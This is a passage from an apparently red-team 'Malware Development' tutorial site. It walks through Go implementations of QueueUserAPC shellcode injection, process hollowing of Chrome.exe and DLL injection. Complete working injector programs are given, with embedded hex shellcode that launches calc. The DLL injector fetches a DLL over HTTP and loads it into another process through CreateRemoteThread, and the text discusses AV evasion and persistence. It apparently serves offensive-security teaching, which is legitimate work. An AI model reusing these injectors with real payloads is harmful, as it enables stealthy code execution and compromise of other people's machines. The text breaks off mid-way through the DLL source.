lastErr) } ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/3.-queueuserapc#resume-execution) Resume Execution To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achieve that. Copy DWORD ResumeThread( [in] HANDLE hThread ); We simply pass the handle returned by the CreateProcess API. Copy _, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread)) if err != nil { log.Fatalf("[FATAL] Can't resume thread. %v\n", err) } ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FRiQJNs9YikBPGzEn1RfB%252Fimage.png%3Falt%3Dmedia%26token%3Dfd09b95e-33cf-4a00-a959-b67a5426e214&width=768&dpr=4&quality=100&sign=5dcae215&sv=2) Calculator Executed ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/3.-queueuserapc#complete-code) Complete Code Copy package main import ( "encoding/hex" "fmt" "log" "syscall" "golang.org/x/sys/windows" ) type PROCESS_BASIC_INFORMATION struct { Reserved1 uintptr PebAddress uintptr Reserved2 uintptr Reserved3 uintptr UniquePid uintptr MoreReserved uintptr } func main() { sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300") var startupInfo windows.StartupInfo var outProcInfo windows.ProcessInformation path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe" err := windows.CreateProcess(nil, windows.StringToUTF16Ptr(path), nil, nil, false, windows.CREATE_SUSPENDED, nil, nil, &startupInfo, &outProcInfo) if err != nil { log.Fatalf("[FATAL] Failed to Create Process: %v", err) } fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId) fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread) modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(outProcInfo.Process), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_EXECUTE_READ)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(addr), &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err) } fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc)) procQueueUserAPC := modKernel32.NewProc("QueueUserAPC") success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0) if success1 == 0 { log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr) } _, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread)) if err != nil { log.Fatalf("[FATAL] Can't resume thread. %v\n", err) } fmt.Println("[+] Resuming Suspended Thread") } Last updated 1 year ago Was this helpful? --- # 2. Process Hollowing | Malware Development [Process Hollowing](https://attack.mitre.org/techniques/T1055/012/) is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. The Windows APIs required to perform this technique are the following: * [CreateProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) * [NtQueryInformationProcess](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess) * [ReadProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory) * [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) * [ResumeThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing#create-suspended-process) Create suspended process Starting a process can be achieved by calling the CreateProcess API. Copy BOOL CreateProcessA( [in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation ); The most important parameter is the dwCreationFlags should be set to CREATE\_SUSPENDED (0x04) Copy var startupInfo windows.StartupInfo var outProcInfo windows.ProcessInformation path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe" err := windows.CreateProcess(nil, windows.StringToUTF16Ptr(path), nil, nil, false, windows.CREATE_SUSPENDED, nil, nil, &startupInfo, &outProcInfo) if err != nil { log.Fatalf("[FATAL] Failed to Create Process: %v", err) } fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId) fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F4ayJvC9Etcll5fSsmlFI%252Fimage.png%3Falt%3Dmedia%26token%3D6202cc26-f3ea-4279-a993-f2da17dd2d7d&width=768&dpr=4&quality=100&sign=2d7288a2&sv=2) Process Created ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FO0LF2Ipzx495UB8DzzxN%252Fimage.png%3Falt%3Dmedia%26token%3Db05848df-1431-497d-af54-e6240f3e5896&width=768&dpr=4&quality=100&sign=1b02512e&sv=2) Suspended Chrome.exe process ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing#identify-image-base-address) Identify Image Base address To get the base address of the image we need to perform the following: * Call NtQueryInformationProcess -> This will return the ProcessInfromation Struct. This struct includes the PEB Address * The base address is stored at offset PEB address + 0x10 * We then read the contents of the address at memory PEB+0x10 using ReadProcessMemory. Let's break that down #### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing#calling-ntqueryinfromationprocess) Calling NTQueryInfromationProcess Copy __kernel_entry NTSTATUS NtQueryInformationProcess( [in] HANDLE ProcessHandle, [in] PROCESSINFOCLASS ProcessInformationClass, [out] PVOID ProcessInformation, [in] ULONG ProcessInformationLength, [out, optional] PULONG ReturnLength ); * ProcessHandle: This can be obtained from the ProcessInformation returned from the CreateProcess API * ProcessInformationClass: We will set that to ProcessBasicInformation (0x00) * ProcessInfromation: A pointer to the PROCESS\_BASIC\_INFORMATION structure * ProcessInformationLength: Length of the sturcture * ReturnLength: A pointer to a variable in which the function returns the size of the requested information The windows package definition of PROCESS\_BASIC\_STRUCTURE didn't work well in this case so we go ahead and define our own struct. Copy type PROCESS_BASIC_INFORMATION struct { Reserved1 uintptr PebAddress uintptr Reserved2 uintptr Reserved3 uintptr UniquePid uintptr MoreReserved uintptr } Copy var ProcessInformation PROCESS_BASIC_INFORMATION ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0))) var ReturnLength uint32 err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength) if err != nil { log.Fatalf("[FATAL] Failed to Query Information Process: %v", err) } imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10) fmt.Printf("[+] Image base address: 0x%x\n", imageBaseAddress) We now have the address containing the image base address. Since we cannot read it directly we need to use ReadProcessMemory winapi. This API allows us to read the memory of a remote process. Copy BOOL ReadProcessMemory( [in] HANDLE hProcess, [in] LPCVOID lpBaseAddress, [out] LPVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesRead ); * hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API * lpBaseAddress: Target address, we will use the imageBaseAddress from the previous step. * lpBuffer: We will define a byte slice for the to store the bytes of the remote memory * nSize: Here we will read 8-bytes in the case of a 64-bit process. size(uintptr) * lpNumberOfBytesRead: Returns the size of bytes read in a variable Copy lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0))) var lpNumberOfBytesRead uintptr err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead) if err != nil { log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err) } fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead) lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer) fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress) A quick look in process hacker shows that the base address of the target Process is indeed the one returned by our code. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FFNkQO26d9666VYLXjmt3%252Fimage.png%3Falt%3Dmedia%26token%3D6245fd3f-ca1d-4f03-a5e8-cc5dab2cd9e9&width=768&dpr=4&quality=100&sign=df2837cc&sv=2) Image base address matching the output of the script in ProcessHacker ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing#identify-the-entry-point) Identify the Entry Point * [MS-DOS Stub](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#ms-dos-stub-image-only) : At location 0x3c, the stub has the file offset to the PE signature. * From the offset found at 0x3c we then calculate the size of the different components of PE. * [Signature (Image Only)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#signature-image-only) : 4-bytes (PE00) * [COFF File Header (Object and Image)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#coff-file-header-object-and-image) : (2+2+4+4+4+2+2) 20-bytes * [Optional Header Standard Fields (Image Only)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-standard-fields-image-only) : Offsett to entry point 16-bytes * Offset of AddressOfEntryPoint from the PE-Header address = 4 + 20 + 16 = 40 decimal (0x28) Let's break that down with some code: #### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing#find-pe-signature-address) Find PE Signature Address Let's read the contents of the headers from memory using ReadProcessMemory. Copy lpBuffer = make([]byte, 0x200) err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead) if err != nil { log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err) } lfaNewPos := lpBuffer[0x3c : 0x3c+0x4] lfanew := binary.LittleEndian.Uint32(lfaNewPos) fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew) Having a look at PE-Bear we can confirm that the PE Signature Offset is 0x78 is correct. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FbC9dQrlDF2wRWwFUCo7h%252Fimage.png%3Falt%3Dmedia%26token%3Dfb578bf9-8056-4162-823f-689e74a14a76&width=768&dpr=4&quality=100&sign=2ac56a73&sv=2) PE Signature Offset 0x78 We now add the 0x28 offset to 0x78 to get the entry point of the executable Copy entrypointOffset := lfanew + 0x28 entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4] entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos) fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA) entrypointAddress := lpBaseAddress + uint64(entrypointRVA) fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress) Once again we confirm with PE-Bear ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FtQ5NwfYwqeIwZ5Z0wRDI%252Fimage.png%3Falt%3Dmedia%26token%3D2cf1d63c-e396-4625-8d44-07adc1415bab&width=768&dpr=4&quality=100&sign=c6062177&sv=2) Entry Point Correctly Identified ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing#overwrite-code-with-our-shellcode) Overwrite code with our shellcode Similar to process injection we now use WriteProcessMemory winapi to write our shellcode to the target region. The benefit is that we don't have to create a new thread but we just overwrite the contents in memory and resume the suspended thread. WriteProcessMemory winapi will be used to write shellcode to the remote memory Copy BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ); * hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API * lpBaseAddress: entrypointAddress identified in the previous step * lpBuffer: A pointer to the beginning of our shellcode byte array * nSize: Size of our shellcode * lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address Copy var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(entrypointAddress), &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err) } fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc)) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing#resume-execution) Resume Execution To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achive that. Copy DWORD ResumeThread( [in] HANDLE hThread ); We simply pass the handle returned by the CreateProcess API. Copy _, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread)) if err != nil { log.Fatalf("[FATAL] Can't resume thread. %v\n", err) } ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FUTQ99FEeTQrhWgmwC4uv%252Fimage.png%3Falt%3Dmedia%26token%3D25e94adf-cf7b-4fe8-bd50-ee88f3151f3e&width=768&dpr=4&quality=100&sign=3a001cdd&sv=2) Calculator Executed ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing#complete-code) Complete Code Copy package main import ( "encoding/binary" "encoding/hex" "fmt" "log" "unsafe" "golang.org/x/sys/windows" ) type PROCESS_BASIC_INFORMATION struct { Reserved1 uintptr PebAddress uintptr Reserved2 uintptr Reserved3 uintptr UniquePid uintptr MoreReserved uintptr } func main() { sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300") var startupInfo windows.StartupInfo var outProcInfo windows.ProcessInformation path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe" err := windows.CreateProcess(nil, windows.StringToUTF16Ptr(path), nil, nil, false, windows.CREATE_SUSPENDED, nil, nil, &startupInfo, &outProcInfo) if err != nil { log.Fatalf("[FATAL] Failed to Create Process: %v", err) } fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId) fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread) var ProcessInformation PROCESS_BASIC_INFORMATION ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0))) var ReturnLength uint32 err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength) if err != nil { log.Fatalf("[FATAL] Failed to Query Information Process: %v", err) } imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10) fmt.Printf("[+] Address Holding image base address: 0x%x\n", imageBaseAddress) lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0))) var lpNumberOfBytesRead uintptr err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead) if err != nil { log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err) } fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead) lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer) fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress) lpBuffer = make([]byte, 0x200) err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead) if err != nil { log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err) } lfaNewPos := lpBuffer[0x3c : 0x3c+0x4] lfanew := binary.LittleEndian.Uint32(lfaNewPos) fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew) entrypointOffset := lfanew + 0x28 entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4] entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos) fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA) entrypointAddress := lpBaseAddress + uint64(entrypointRVA) fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(entrypointAddress), &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err) } fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc)) _, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread)) if err != nil { log.Fatalf("[FATAL] Can't resume thread. %v\n", err) } fmt.Println("[+] Resuming Suspended Thread") } Last updated 2 years ago Was this helpful? --- # Payloads | Malware Development In monitored environments it is very difficult to deliver and run an exe executable without being detected, whether that's for initial access or persistence. For years the easiest way to gain initial access was done though Microsoft Office Macros. Microsoft however recently announced that internet macros are [disabled by default](https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked) . That forced red teams to explore alternative methods. In order to achieve code execution red teams now heavily rely on some sort of dll. A few examples are the office plugins such as xll, wll or .node files that are used for persistence on electron apps such as MS Teams, VS Code etc. In the following sections we will explore how can we build a DLL using Golang to achieve code execution and a few variants of that. Last updated 1 year ago Was this helpful? --- # 1. Dll Injection | Malware Development A fairly common technique when it comes code injection is dll injection. All major c2 frameworks are using this technique when a command such as `migrate` is used. When a c2 migrates from one process to another, although it's seamless to the operator, it usually injects the implant dll into the remote process and kills the current implant session. In this post we will explore how we can inject a dll to a remote process. The following steps will be performed in the following code: * [Download dll from a remote host](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#download-dll-from-a-remote-host) * [Write it to disk (current working directory)](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#write-it-to-disk-current-working-directory) * [OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess) * [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex) * [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) * [Get address of LoadLibraryA](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#get-the-address-loadlibrarya) * CreateRemoteThread Let's dive into the code: ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#download-dll-from-a-remote-host) Download dll from a remote host It is fairly easy to issue a get request and download the remote file into a byte slice in golang. The following function was used. Copy func wget(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return []byte{}, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return []byte{}, err } return body, nil } the wget function receives the URL as an argument and returns the byte slice if successful or an error if it fails This is how the code is called from the main function: Copy sc, err := wget("http://127.0.0.1/hello.dll") if err != nil { log.Fatalf("[FATAL] Unable to connect to the host %v ", err) } ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#write-it-to-disk-current-working-directory) Write it to disk (current working directory) This technique will not reflectively load the dll. The dll will be written to disk first and then it will be loaded the remote process. Copy // Write file to disk path, err := os.Getwd() if err != nil { log.Println(err) } fmt.Printf("[+] Current Directory: %s\n", path) fname := path + "\\hello.dll" fnameBytes := []byte(fname) err = os.WriteFile(fname, sc, 0644) if err != nil { log.Fatalf("[FATAL] Unable to write file %s ", fname) } fmt.Printf("[+] Writing file: %s\n", fname) The dll will be stored in the current working directory * fnameBytes turns the path string to a byte slice ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#openprocess) OpenProcess To get a handle on the remote process the OpenProcess winapi will be used. Copy HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); * dwDesiredAccess: This is defined by the rest of the APIs that we will use. * VirtualAllocEX -> PROCESS\_VM\_OPERATION * WriteProcessMemory -> PROCESS\_VM\_WRITE and PROCESS\_VM\_OPERATION * CreateRemoteThread -> PROCESS\_CREATE\_THREAD, PROCESS\_QUERY\_INFORMATION, PROCESS\_VM\_OPERATION, PROCESS\_VM\_WRITE, and PROCESS\_VM\_READ * Alternatively we can use PROCESS\_ALL\_ACCESS for convenience * More information on [process security and access rights](https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights) * bInheritHandle: Will be set to false * dwProcessId: Will be the ID of the process to get a handle on Luckily the OpenProcess API is part of the windows package Copy pid := uint32(12240) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#allocating-memory-on-remote-process) Allocating memory on remote process ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- VirtuallAllocEx will be used for allocating memory for the dll path in the remote memory. Copy LPVOID VirtualAllocEx( [in] HANDLE hProcess, [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect ); * hProcess: Process Handle returned by the OpenProcess API * lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0 * dwSize: Will be the size of our shellcode * flAllocationType: We need to reserve and commit memory * flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtectEx or WriteProcessMemory. Copy // Allocate memory on remote process modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(fnameBytes)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_EXECUTE_READ)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#writing-dll-path-to-remote-process) Writing dll path to remote process WriteProcessMemory winapi will be used to write the dll path to the remote memory Copy BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ); * hProcess: Process Handle returned by the OpenProcess API * lpBaseAddress: Value returned from VirtualAllocEx * lpBuffer: A pointer to the beginning of our shellcode byte array * nSize: Size of our shellcode * lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address Copy // Write to remote memory var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &fnameBytes[0], uintptr(len(fnameBytes)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(fnameBytes)) line 5: Pass the dll path byte slice ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#get-the-address-loadlibrarya) Get the address LoadLibraryA Copy // Get address of loadLibraryA procLoadLibraryA := modKernel32.NewProc("LoadLibraryA") ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#create-remote-thread) Create Remote Thread CreateRemoteThread API will be used to create a thread and run the shellcode. Copy HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); Copy HMODULE LoadLibraryA( [in] LPCSTR lpLibFileName ); Only three parameters will be used and the rest will be set to null * hProcess: Process Handle returned by the OpenProcess API * lpStartAddress: The address of LoadLibraryA will be passed * lpParameter: LoadLibraryA only accepts one parameter so we pass the address returned by VirtualAllocEx where the path of the dll resides * lpThreadId: Returns the newly created threadID Copy // CreateProcess to Load the DLL procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), procLoadLibraryA.Addr(), addr, uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F0XngBwh9xjF3KNvdWsjY%252Fimage.png%3Falt%3Dmedia%26token%3D871a474d-61f5-48db-87fc-7fcb3c4570f9&width=768&dpr=4&quality=100&sign=eb7886f9&sv=2) Messagebox withing the Notepad process ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FOr7IVfNN1ckiHvSHoH4H%252Fimage.png%3Falt%3Dmedia%26token%3D17ae0f3b-8cd6-449f-be58-1d290e60bbad&width=768&dpr=4&quality=100&sign=55a977b2&sv=2) We can see hello.dll in process hacker ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fnt15x0kUyxf2sxlUSw1c%252Fimage.png%3Falt%3Dmedia%26token%3D69b7332a-7246-4ee1-9650-b2c0485736f4&width=768&dpr=4&quality=100&sign=6f0930d2&sv=2) Thread ID 20124: We can see that LoadLibraryA is the start address As expected from our CreateRemoteThread function ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#dll-code) DLL Code Copy // dllmain.cpp : Defines the entry point for the DLL application. #include "pch.h" #include "windows.h" void payload() { MessageBox( NULL, (LPCWSTR)L"Resource not available\nDo you want to try again?", (LPCWSTR)L"Account Details", MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2 ); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: payload(); case DLL_THREAD_ATTACH: 